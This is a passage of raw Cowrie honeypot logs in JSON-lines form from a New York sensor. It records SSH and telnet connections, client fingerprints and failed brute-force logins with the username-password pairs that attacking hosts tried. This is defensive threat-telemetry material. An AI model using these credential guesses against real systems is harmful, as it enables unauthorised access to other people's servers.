openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.473738Z","src_ip":"159.203.92.129","session":"5f442fe1c24b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abcd@1234","message":"login attempt [ansible/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.490099Z","src_ip":"159.203.92.129","session":"5f442fe1c24b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":42584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8553078dcaf1","protocol":"telnet","message":"New connection: 172.233.212.110:42584 (10.17.0.5:23) [session: 8553078dcaf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.638491Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"aA123456@","message":"login attempt [ubuntu/aA123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.700117Z","src_ip":"125.31.2.160","session":"332685e60df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":57948,"dst_ip":"10.17.0.5","dst_port":23,"session":"87829d62671b","protocol":"telnet","message":"New connection: 139.162.207.207:57948 (10.17.0.5:23) [session: 87829d62671b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:23.847259Z"}
{"eventid":"cowrie.session.closed","duration":33.780115365982056,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:24.490523Z","src_ip":"139.162.207.207","session":"58dc33bc91c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:24.496441Z","src_ip":"159.203.92.129","session":"5f442fe1c24b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:24.921639Z","src_ip":"125.31.2.160","session":"332685e60df2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":42590,"dst_ip":"10.17.0.5","dst_port":23,"session":"952b493e820a","protocol":"telnet","message":"New connection: 172.233.212.110:42590 (10.17.0.5:23) [session: 952b493e820a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:27.696481Z"}
{"eventid":"cowrie.session.closed","duration":33.84492635726929,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:31.202882Z","src_ip":"172.233.212.110","session":"e3081924a4a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06899929046631,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:31.923927Z","src_ip":"172.233.212.110","session":"3d13a0b88c04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":48234,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8bdc47d5447","protocol":"telnet","message":"New connection: 172.233.212.110:48234 (10.17.0.5:23) [session: a8bdc47d5447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:36.586978Z"}
{"eventid":"cowrie.session.closed","duration":31.47567343711853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:37.717609Z","src_ip":"172.233.212.110","session":"84ff112d2af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":48248,"dst_ip":"10.17.0.5","dst_port":23,"session":"2edd16c874dc","protocol":"telnet","message":"New connection: 172.233.212.110:48248 (10.17.0.5:23) [session: 2edd16c874dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:40.713858Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43740,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2fb31a9da8d","protocol":"telnet","message":"New connection: 209.126.87.217:43740 (159.203.135.109:23) [session: c2fb31a9da8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:41.411457Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":46752,"dst_ip":"159.203.135.109","dst_port":22,"session":"ddd0bd353a6c","protocol":"ssh","message":"New connection: 37.143.61.130:46752 (159.203.135.109:22) [session: ddd0bd353a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:43.292651Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59246,"dst_ip":"10.17.0.5","dst_port":23,"session":"3779a625cf9e","protocol":"telnet","message":"New connection: 172.233.212.110:59246 (10.17.0.5:23) [session: 3779a625cf9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:43.941065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:44.387291Z","src_ip":"37.143.61.130","session":"ddd0bd353a6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:44.499907Z","src_ip":"37.143.61.130","session":"ddd0bd353a6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"102030","message":"login attempt [git/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:48.283604Z","src_ip":"37.143.61.130","session":"ddd0bd353a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.23976182937622,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:48.839312Z","src_ip":"172.233.212.110","session":"4496cd701139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:49.888921Z","src_ip":"37.143.61.130","session":"ddd0bd353a6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.613044023513794,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:54.251348Z","src_ip":"172.233.212.110","session":"8553078dcaf1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0688693523407,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:57.916036Z","src_ip":"139.162.207.207","session":"87829d62671b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.170042276382446,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:36:59.866477Z","src_ip":"172.233.212.110","session":"952b493e820a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":57008,"dst_ip":"10.17.0.5","dst_port":23,"session":"8bd67b140053","protocol":"telnet","message":"New connection: 172.233.212.110:57008 (10.17.0.5:23) [session: 8bd67b140053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:04.509457Z"}
{"eventid":"cowrie.session.closed","duration":31.055394411087036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:07.642255Z","src_ip":"172.233.212.110","session":"a8bdc47d5447","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":37856,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f4b02d9528b","protocol":"ssh","message":"New connection: 159.203.92.129:37856 (159.203.135.109:22) [session: 6f4b02d9528b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:08.919086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:08.923263Z","src_ip":"159.203.92.129","session":"6f4b02d9528b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:08.927657Z","src_ip":"159.203.92.129","session":"6f4b02d9528b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abcd@123456","message":"login attempt [ansible/abcd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:08.937432Z","src_ip":"159.203.92.129","session":"6f4b02d9528b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:09.944055Z","src_ip":"159.203.92.129","session":"6f4b02d9528b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.400975465774536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:11.114718Z","src_ip":"172.233.212.110","session":"2edd16c874dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.75974798202515,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:16.700708Z","src_ip":"172.233.212.110","session":"3779a625cf9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":49326,"dst_ip":"10.17.0.5","dst_port":23,"session":"16fc8c834b6b","protocol":"telnet","message":"New connection: 172.233.212.110:49326 (10.17.0.5:23) [session: 16fc8c834b6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:17.523132Z"}
{"eventid":"cowrie.session.closed","duration":36.496721506118774,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:17.908074Z","src_ip":"209.126.87.217","session":"c2fb31a9da8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":50380,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5de3fe689f7","protocol":"ssh","message":"New connection: 125.31.2.160:50380 (10.17.0.5:22) [session: e5de3fe689f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:19.667165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:19.671365Z","src_ip":"125.31.2.160","session":"e5de3fe689f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:19.889652Z","src_ip":"125.31.2.160","session":"e5de3fe689f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":39748,"dst_ip":"10.17.0.5","dst_port":22,"session":"3dba8635be40","protocol":"ssh","message":"New connection: 80.94.92.182:39748 (10.17.0.5:22) [session: 3dba8635be40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:20.051367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:20.283874Z","src_ip":"80.94.92.182","session":"3dba8635be40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:20.287637Z","src_ip":"80.94.92.182","session":"3dba8635be40","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"proxy","message":"login attempt [root/proxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:20.795102Z","src_ip":"125.31.2.160","session":"e5de3fe689f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:21.424750Z","src_ip":"80.94.92.182","session":"3dba8635be40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":59108,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a82d7b0383e","protocol":"telnet","message":"New connection: 139.162.207.207:59108 (10.17.0.5:23) [session: 3a82d7b0383e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:21.759703Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:22.015630Z","src_ip":"125.31.2.160","session":"e5de3fe689f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:22.775059Z","src_ip":"80.94.92.182","session":"3dba8635be40","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44952,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8228fc20467","protocol":"telnet","message":"New connection: 172.233.212.110:44952 (10.17.0.5:23) [session: a8228fc20467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:23.747165Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":44960,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0704bed914","protocol":"telnet","message":"New connection: 172.233.212.110:44960 (10.17.0.5:23) [session: 0f0704bed914]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:30.976570Z"}
{"eventid":"cowrie.session.closed","duration":31.27331304550171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:35.782654Z","src_ip":"172.233.212.110","session":"8bd67b140053","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.542033672332764,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:48.065080Z","src_ip":"172.233.212.110","session":"16fc8c834b6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":59842,"dst_ip":"10.17.0.5","dst_port":23,"session":"aefa8739dd4c","protocol":"telnet","message":"New connection: 172.233.212.110:59842 (10.17.0.5:23) [session: aefa8739dd4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:52.023905Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47416,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7aa3dc5b172","protocol":"telnet","message":"New connection: 172.233.212.110:47416 (10.17.0.5:23) [session: b7aa3dc5b172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:52.528685Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54784,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b9a00ace7a4","protocol":"ssh","message":"New connection: 159.203.92.129:54784 (159.203.135.109:22) [session: 1b9a00ace7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:53.964485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:37:53.968841Z","src_ip":"159.203.92.129","session":"1b9a00ace7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cer